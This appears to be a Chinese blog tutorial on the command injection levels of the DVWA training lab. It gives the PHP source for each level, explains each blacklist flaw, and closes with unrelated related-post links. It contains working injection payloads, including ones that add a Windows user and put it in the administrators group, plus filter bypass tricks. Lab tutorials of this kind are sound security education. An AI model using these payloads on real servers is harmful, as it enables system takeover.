DVWA各等级命令注入漏洞
漏洞描述
- 在web程序中,因为业务功能需求要通过web前端传递参数到后台服务器上执行,由于开发人员没有对输入进行严格过滤,导致攻击者可以构造一些额外的"带有非法目的的"命令,欺骗后台服务器
漏洞危害
- 如果web应用使用的是root权限,则改漏洞可以导致攻击者在服务器上执行任意命令
漏洞利用
在ping时 可以使用 管道符( | ) ,& 等字符拼接执行多条命令
Eg:
ping 127.0.0.1 | net user
ping 127.0.0.1 & net user
ping 127.0.0.1 && net user
ping 127.0.0.1 || net user
- '|':前面命令输出结果作为后面命令的输入内容
- '&':前面命令执行后接着执行后面的命令
- '||':前面命令执行失败的时候才执行后面的命令
- '$$':前面命令执行成功了才执行后面的命令
- 使用重定向(>)在服务器中生成文件,或时使用(<)从事先准备好的文件读入命令
eg:127.0.0.1&echo test >c:\1.txt
Command injection
level:low
<?php
if( isset( $_POST[ 'Submit' ] ) ) { //post传参
// Get input
$target = $_REQUEST[ 'ip' ]; 传入ip
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
//stristr()函数:在字符串中找是否存在已知的字符串
//php_uname()返回运行php的系统有关信息
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
漏洞分析
low级别本身没有任何过滤,其中 Shell_exec()函数可以在php中去执行操作系统命令,如果不对用户输入的命令进行过滤,那么理论上就可以执行任意系统命令,也就相当于直接获得了系统级的shell
eg:命令执行语句
127.0.0.1 | net user
127.0.0.1 | net user test 123/add
127.0.0.1 | net localgroup administrators test/add
level:medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
漏洞分析
与low级别相比 medium级别多了两句过滤语句:'&&' => '', ';' => '',替换为空字符
绕过方法:
因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。
Ping 127.0.0.1&net user
在&&中间加 ';'
Ping 127.0.0.1&;&net nser
这是因为”127.0.0.1&;&net user”中的” ;”会被替换为空字符,这样一来就变成了”127.0.0.1&& net user” ,会成功执行。
level:high
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
漏洞分析
high级别与medium级别相比 黑名单机制限制的更多 过滤的更多
但是
仔细观察到是把"| "(注意这里|后有一个空格)替换为空字符,可以用" |"替换 成功绕过
level:impossible
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
//stripslashes(string)stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
//explode(separator,string,limit)把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。
//
is_numeric(string)检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
漏洞分析
Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,不存在命令注入漏洞。
DVWA各等级命令注入漏洞的更多相关文章
- Commix命令注入漏洞利用
介绍 项目地址:https://github.com/stasinopoulos/commix Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏 ...
- DVWA(四):Command Injection 全等级命令注入
Command Injection : 命令注入(Command Injection),对一些函数的参数没有做好过滤而导致用户可以控制输入的参数,使其恶意执行系统命令或这cmd.bash指令的一种注入 ...
- 2. DVWA亲测命令执行漏洞
先看low级: 提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的, 我们正常输入127.0.0.1: 那我们就可以利用这个使用其他CMD命令 我们输入127.0.0.1& ...
- DVWA各等级sql注入
sql全等级注入 level:low <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { //判断submit是否存在 // Get input $id = ...
- CVE-2020-15778 OpenSSH命令注入漏洞复现
一.漏洞概要 OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令.目前绝大多数linux系统受影响. 参考链接:https://githu ...
- 1.3 DVWA亲测sql注入漏洞
LOW等级 我们先输入1 我们加上一个单引号,页面报错 我们看一下源代码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input ...
- 1.2 DVWA亲测sql注入漏洞(blind)
LOW等级 我们尝试输入: 即如果页面返回为假,则说明后面的语句成功注入 据此我们可以知道 1' and 真 --> 页面显示 “User ID exists in the data ...
- CVE-2017-17215 - 华为HG532命令注入漏洞分析
前言 前面几天国外有个公司发布了该漏洞的详情.入手的二手 hg532 到货了,分析测试一下. 固件地址:https://ia601506.us.archive.org/22/items/RouterH ...
- DVWA靶机的命令执行漏洞
之前在打攻防世界的时候出现过类似的题目,这里再重温一下 (靶机一共低中高三个安全等级,这里只演示低中等级) (1)Security:low 根据提示让我们输入地址ping一下,之后返回以下内容,可以判 ...
随机推荐
- C++中内存布局 以及自由存储区和堆的理解
文章搬运自https://www.cnblogs.com/QG-whz/p/5060894.html,如有侵权请告知删除 当我问你C++的内存布局时,你大概会回答: "在C++中,内存区分为 ...
- 使用Camtasia创作抖音卡点视频
空闲的时候刷一刷抖音相信已经成为很多人的日常啦,抖音里面的视频形式多种多样,而其中的卡点视频更是被大家热烈追捧.如果你外出旅行拍摄了很多好看的照片,就很适合用卡点视频的形式展现出来. 如果你想要制作这 ...
- 如何使用ABBYY FineReader处理文档图像的缺陷?
通过扫描仪或者数码相机获取的图像文件,容易出现文本扭曲.页面歪斜等缺陷,会影响到OCR的识别质量.此时,用户可使用ABBYY FineReader 15(Windows系统)OCR文字识别软件的自动和 ...
- 简单几步就能把素材变成大片?老司机推荐Vegas
"素材编辑"一般分为两种,一种是对时间线素材长度和位置的编辑,另一种就是遮罩法操作. 第一种,裁剪素材(将素材在我们选定的位置一分为二),对时间线上的素材进行裁剪,有两种方法: 一 ...
- starUML软件破解
下载链接:http://pan.baidu.com/s/1bpnHJ8F 密码:hk3x 1.使用Editplus或者Notepad++等特殊的文本编辑器打开%StarUML_HOME%/www/ ...
- Java中的单例模式最全解析
单例模式是 Java 中最简单的设计模式之一,它是指一个类在运行期间始终只有一个实例,我们就把它称之为单例模式.它不但被应用在实际的工作中,而且还是面试中最常考的题目之一.通过单例模式我们可以知道此人 ...
- flink:JobGraph生成过程分析
1.JobGraph是由StreamGraph转换而来,当client将StreamGraph提交后,job启动前会先完成转换,统一的转换入口如下: 2.StreamingJobGraphGenera ...
- Arcgis基于高程(DEM)计算地形湿度指数(TWI),以及坡度(Slope)度单位转换为弧度
以30m*30m分辨率的图层为例 一.基于表面工具箱Surface计算Slope 1.如下图输入图层DEM,输出Slope 2.单位转换: Scale_slope=Slope*pi/180 二.基于水 ...
- java12(eclipse断点调试)
选择结构switch 1.格式: switch(整型数据){ case 值A:System.out.println("");break; case 值B:System.out.pr ...
- 给你一个亿的keys,Redis如何统计?
前言 不知你大规模的用过Redis吗?还是仅仅作为缓存的工具了?在Redis中使用最多的就是集合了,举个例子,如下场景: 签到系统中,一天对应一系列的用户签到记录. 电商系统中,一个商品对应一系列的评 ...